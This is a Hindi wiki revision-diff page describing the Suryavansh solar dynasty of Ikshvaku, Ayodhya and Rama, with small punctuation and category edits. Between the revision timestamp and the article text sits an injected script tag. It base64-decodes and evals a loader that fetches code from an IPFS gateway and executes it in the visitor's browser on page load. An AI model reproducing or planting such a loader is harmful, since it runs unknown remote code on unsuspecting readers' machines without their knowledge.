"सूर्य वंश" के अवतरणों में अंतर

ब्रज डिस्कवरी, एक मुक्त ज्ञानकोष से
नेविगेशन पर जाएँ खोज पर जाएँ
पंक्ति १: पंक्ति १:
 
{{menu}}<br />
 
{{menu}}<br />
[[category:कोश]]  [[श्रेणी:पौराणिक इतिहास]]
 
 
==सूर्य-वंश ( Suryavansh )==
 
==सूर्य-वंश ( Suryavansh )==
क्षत्रियों के दो प्रधान वंशों में से एक जिसका आरम्भ [[इक्ष्वाकु]] से माना जाता है । पुराने जमाने में हमारे यहाँ राजपूतों के दो खानदान बहुत प्रसिद्ध थे । एक चन्द्रवंश, दूसरा सूर्यवंश, राम सूर्य वंशी थे । सूर्य वंशी राजाओं का इतिहास [[पुराण|पुराणों]] में मिलता है । [[अयोध्या]] उनकी राजधानी थी और राज्य का नाम [[महाजनपद|कोशल]] था। यह अयोध्या सरयू नदी के तट तीर्थ के रूप में विद्यमान है । इसको राजा युवनाश्व ने बसाया । ये [[मांधाता]] के पुत्र थे । भगवान [[राम]] सूर्यवंश में उत्पन्न हुए । यह वंश राजा [[इक्ष्वाकु]] से शु्रू हुआ । [[भागवत]] के अनुसार सूर्यवंश के आदिपुरूष इक्ष्वाकु थे जिन्होंने [[युग|त्रेतायुग]] में अयोध्या में राज किया। इससे पहले कश्यप थे। कश्यप के पुत्र [[सूर्य]] और सूर्य के पुत्र के पुत्र [[वैवस्वत|वैवश्वतमनु]] हुए। इन्हीं वैवश्वत मनु के पुत्र इक्ष्वाकु थे। इसी वंश में बाद में [[दशरथ]] , [[राम]], [[लव कुश|लव-कुश]] आदि का जन्म हुआ।
+
क्षत्रियों के दो प्रधान वंशों में से एक जिसका आरम्भ [[इक्ष्वाकु]] से माना जाता है। पुराने जमाने में हमारे यहाँ राजपूतों के दो खानदान बहुत प्रसिद्ध थे। एक चन्द्रवंश, दूसरा सूर्यवंश, राम सूर्य वंशी थे। सूर्य वंशी राजाओं का इतिहास [[पुराण|पुराणों]] में मिलता है। [[अयोध्या]] उनकी राजधानी थी और राज्य का नाम [[महाजनपद|कोशल]] था। यह अयोध्या सरयू नदी के तट तीर्थ के रूप में विद्यमान है। इसको राजा युवनाश्व ने बसाया। ये [[मांधाता]] के पुत्र थे। भगवान [[राम]] सूर्यवंश में उत्पन्न हुए। यह वंश राजा [[इक्ष्वाकु]] से शु्रू हुआ। [[भागवत]] के अनुसार सूर्यवंश के आदिपुरूष इक्ष्वाकु थे जिन्होंने [[युग|त्रेतायुग]] में अयोध्या में राज किया। इससे पहले कश्यप थे। कश्यप के पुत्र [[सूर्य]] और सूर्य के पुत्र के पुत्र [[वैवस्वत|वैवश्वतमनु]] हुए। इन्हीं वैवश्वत मनु के पुत्र इक्ष्वाकु थे। इसी वंश में बाद में [[दशरथ]], [[राम]], [[लव कुश|लव-कुश]] आदि का जन्म हुआ।
 +
 
 +
[[category:कोश]] 
 +
[[श्रेणी:पौराणिक इतिहास]]
 
__INDEX__
 
__INDEX__

०७:३३, १६ दिसम्बर २००९ का अवतरण

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

सूर्य-वंश ( Suryavansh )

क्षत्रियों के दो प्रधान वंशों में से एक जिसका आरम्भ इक्ष्वाकु से माना जाता है। पुराने जमाने में हमारे यहाँ राजपूतों के दो खानदान बहुत प्रसिद्ध थे। एक चन्द्रवंश, दूसरा सूर्यवंश, राम सूर्य वंशी थे। सूर्य वंशी राजाओं का इतिहास पुराणों में मिलता है। अयोध्या उनकी राजधानी थी और राज्य का नाम कोशल था। यह अयोध्या सरयू नदी के तट तीर्थ के रूप में विद्यमान है। इसको राजा युवनाश्व ने बसाया। ये मांधाता के पुत्र थे। भगवान राम सूर्यवंश में उत्पन्न हुए। यह वंश राजा इक्ष्वाकु से शु्रू हुआ। भागवत के अनुसार सूर्यवंश के आदिपुरूष इक्ष्वाकु थे जिन्होंने त्रेतायुग में अयोध्या में राज किया। इससे पहले कश्यप थे। कश्यप के पुत्र सूर्य और सूर्य के पुत्र के पुत्र वैवश्वतमनु हुए। इन्हीं वैवश्वत मनु के पुत्र इक्ष्वाकु थे। इसी वंश में बाद में दशरथ, राम, लव-कुश आदि का जन्म हुआ।